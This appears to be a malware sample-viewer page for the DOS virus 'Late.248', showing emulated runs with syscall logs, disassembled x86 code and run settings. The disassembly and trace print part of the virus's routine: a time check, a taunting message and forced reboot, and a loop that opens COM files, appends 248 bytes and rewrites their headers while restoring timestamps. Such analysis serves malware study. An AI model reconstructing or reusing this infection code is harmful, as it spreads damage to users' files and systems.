Sample viewer

vx.netlux.org/Virus.DOS.Late.248

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:53:08.815327358Z 44 PC: 12a5d | Get time 0x12a5d: cmp ch, 4
0x12a60: jg 0x12a70
0x12a62: mov ah, 9
0x12a64: lea dx, word ptr [si + 0x1bc]
0x12a68: int 0x21
0x12a6a: mov ah, 0
0x12a6c: int 0x16
0x12a6e: int 0x19
0x12a70: mov ah, 0x4e
0x12a72: lea dx, word ptr [si + 0x1b2]
0x12a76: xor cx, cx
0x12a78: int 0x21
0x12a7a: mov dx, 0x9e
0x12a7d: mov ah, 0x3d
0x12a7f: mov al, 2
0x12a81: int 0x21
0x12a83: mov bx, ax
0x12a85: mov ah, 0x3f
0x12a87: lea dx, word ptr [si + 0x1f4]
0x12a8b: mov cx, 4
2018-12-17T22:53:08.818253579Z 9 PC: 12a6a | Display string (String= 'Get some sleep, will ya? - Late Night Virus - Jack Damn')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":11124,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:57.889529131Z 44 PC: 12a5d | Get time 0x12a5d: cmp ch, 4
0x12a60: jg 0x12a70
0x12a62: mov ah, 9
0x12a64: lea dx, word ptr [si + 0x1bc]
0x12a68: int 0x21
0x12a6a: mov ah, 0
0x12a6c: int 0x16
0x12a6e: int 0x19
0x12a70: mov ah, 0x4e
0x12a72: lea dx, word ptr [si + 0x1b2]
0x12a76: xor cx, cx
0x12a78: int 0x21
0x12a7a: mov dx, 0x9e
0x12a7d: mov ah, 0x3d
0x12a7f: mov al, 2
0x12a81: int 0x21
0x12a83: mov bx, ax
0x12a85: mov ah, 0x3f
0x12a87: lea dx, word ptr [si + 0x1f4]
0x12a8b: mov cx, 4
2018-12-25T12:29:57.893315574Z 9 PC: 12a6a | Display string (String= 'Get some sleep, will ya? - Late Night Virus - Jack Damn')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":5,"Min":0,"Second":0,"TimeBased":true,"OriginalID":11124,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:58.133417039Z 44 PC: 12a5d | Get time 0x12a5d: cmp ch, 4
0x12a60: jg 0x12a70
0x12a62: mov ah, 9
0x12a64: lea dx, word ptr [si + 0x1bc]
0x12a68: int 0x21
0x12a6a: mov ah, 0
0x12a6c: int 0x16
0x12a6e: int 0x19
0x12a70: mov ah, 0x4e
0x12a72: lea dx, word ptr [si + 0x1b2]
0x12a76: xor cx, cx
0x12a78: int 0x21
0x12a7a: mov dx, 0x9e
0x12a7d: mov ah, 0x3d
0x12a7f: mov al, 2
0x12a81: int 0x21
0x12a83: mov bx, ax
0x12a85: mov ah, 0x3f
0x12a87: lea dx, word ptr [si + 0x1f4]
0x12a8b: mov cx, 4
2018-12-25T12:29:58.136006679Z 78 PC: 12a7a | Find first file
2018-12-25T12:29:58.141953763Z 61 PC: 12a83 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:29:58.148222702Z 63 PC: 12a90 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:29:58.154509365Z 87 PC: 12a9c | Get or set file date and time
2018-12-25T12:29:58.155968987Z 66 PC: 12aa7 | Move file pointer
2018-12-25T12:29:58.157307705Z 64 PC: 12ab3 | Write file or device (Write 248 bytes on handle 5)
2018-12-25T12:29:58.172685591Z 66 PC: 12abc | Move file pointer
2018-12-25T12:29:58.174211341Z 64 PC: 12acf | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:29:58.181689097Z 87 PC: 12ad6 | Get or set file date and time
2018-12-25T12:29:58.184135672Z 62 PC: 12ada | Close file
2018-12-25T12:29:58.192562824Z 79 PC: 12ade | Find next file
2018-12-25T12:29:58.198829862Z 61 PC: 12a83 | Open file (See above)
2018-12-25T12:29:58.205278478Z 63 PC: 12a90 | Read file or device (See above)
2018-12-25T12:29:58.212221814Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:29:58.213909621Z 66 PC: 12aa7 | Move file pointer (See above)
2018-12-25T12:29:58.215597904Z 64 PC: 12ab3 | Write file or device (See above)
2018-12-25T12:29:58.219375362Z 66 PC: 12abc | Move file pointer (See above)
2018-12-25T12:29:58.220791466Z 64 PC: 12acf | Write file or device (See above)
2018-12-25T12:29:58.223656094Z 87 PC: 12ad6 | Get or set file date and time (See above)
2018-12-25T12:29:58.227752234Z 62 PC: 12ada | Close file (See above)
2018-12-25T12:29:58.235656423Z 79 PC: 12ade | Find next file (See above)
2018-12-25T12:29:58.238604452Z 61 PC: 12a83 | Open file (See above)
2018-12-25T12:29:58.246557588Z 63 PC: 12a90 | Read file or device (See above)
2018-12-25T12:29:58.254385315Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:29:58.256168399Z 66 PC: 12aa7 | Move file pointer (See above)
2018-12-25T12:29:58.258585785Z 64 PC: 12ab3 | Write file or device (See above)
2018-12-25T12:29:58.261922456Z 66 PC: 12abc | Move file pointer (See above)
2018-12-25T12:29:58.263517517Z 64 PC: 12acf | Write file or device (See above)
2018-12-25T12:29:58.266294344Z 87 PC: 12ad6 | Get or set file date and time (See above)
2018-12-25T12:29:58.269224894Z 62 PC: 12ada | Close file (See above)
2018-12-25T12:29:58.276670282Z 79 PC: 12ade | Find next file (See above)
2018-12-25T12:29:58.279297434Z 61 PC: 12a83 | Open file (See above)
2018-12-25T12:29:58.288673088Z 63 PC: 12a90 | Read file or device (See above)
2018-12-25T12:29:58.29754852Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:29:58.298884311Z 66 PC: 12aa7 | Move file pointer (See above)
2018-12-25T12:29:58.302401126Z 64 PC: 12ab3 | Write file or device (See above)
2018-12-25T12:29:58.304919027Z 66 PC: 12abc | Move file pointer (See above)
2018-12-25T12:29:58.306547684Z 64 PC: 12acf | Write file or device (See above)
2018-12-25T12:29:58.310433862Z 87 PC: 12ad6 | Get or set file date and time (See above)
2018-12-25T12:29:58.312223974Z 62 PC: 12ada | Close file (See above)
2018-12-25T12:29:58.319683505Z 79 PC: 12ade | Find next file (See above)
2018-12-25T12:29:58.32273361Z 61 PC: 12a83 | Open file (See above)
2018-12-25T12:29:58.329880883Z 63 PC: 12a90 | Read file or device (See above)
2018-12-25T12:29:58.335991958Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:29:58.337979575Z 66 PC: 12aa7 | Move file pointer (See above)
2018-12-25T12:29:58.339524205Z 64 PC: 12ab3 | Write file or device (See above)
2018-12-25T12:29:58.342192641Z 66 PC: 12abc | Move file pointer (See above)
2018-12-25T12:29:58.344191101Z 64 PC: 12acf | Write file or device (See above)
2018-12-25T12:29:58.346798987Z 87 PC: 12ad6 | Get or set file date and time (See above)
2018-12-25T12:29:58.348374334Z 62 PC: 12ada | Close file (See above)
2018-12-25T12:29:58.356105332Z 79 PC: 12ade | Find next file (See above)
2018-12-25T12:29:58.358746775Z 61 PC: 12a83 | Open file (See above)
2018-12-25T12:29:58.365364907Z 63 PC: 12a90 | Read file or device (See above)
2018-12-25T12:29:58.372396643Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:29:58.373843776Z 66 PC: 12aa7 | Move file pointer (See above)
2018-12-25T12:29:58.375140168Z 64 PC: 12ab3 | Write file or device (See above)
2018-12-25T12:29:58.383545586Z 66 PC: 12abc | Move file pointer (See above)
2018-12-25T12:29:58.385315847Z 64 PC: 12acf | Write file or device (See above)
2018-12-25T12:29:58.392004591Z 87 PC: 12ad6 | Get or set file date and time (See above)
2018-12-25T12:29:58.394464839Z 62 PC: 12ada | Close file (See above)
2018-12-25T12:29:58.402541006Z 79 PC: 12ade | Find next file (See above)
2018-12-25T12:29:58.40528275Z 61 PC: 12a83 | Open file (See above)
2018-12-25T12:29:58.411934499Z 63 PC: 12a90 | Read file or device (See above)
2018-12-25T12:29:58.415905369Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:29:58.416943795Z 66 PC: 12aa7 | Move file pointer (See above)
2018-12-25T12:29:58.418508251Z 64 PC: 12ab3 | Write file or device (See above)
2018-12-25T12:29:58.420309499Z 66 PC: 12abc | Move file pointer (See above)
2018-12-25T12:29:58.421318374Z 64 PC: 12acf | Write file or device (See above)
2018-12-25T12:29:58.423550107Z 87 PC: 12ad6 | Get or set file date and time (See above)
2018-12-25T12:29:58.424736811Z 62 PC: 12ada | Close file (See above)
2018-12-25T12:29:58.429323727Z 79 PC: 12ade | Find next file (See above)
2018-12-25T12:29:58.431362625Z 61 PC: 12a83 | Open file (See above)
2018-12-25T12:29:58.435828105Z 63 PC: 12a90 | Read file or device (See above)
2018-12-25T12:29:58.437531653Z 79 PC: 12ade | Find next file (See above)
2018-12-25T12:29:58.439822216Z 76 PC: 12a44 | Terminate with return code (Return code = '18')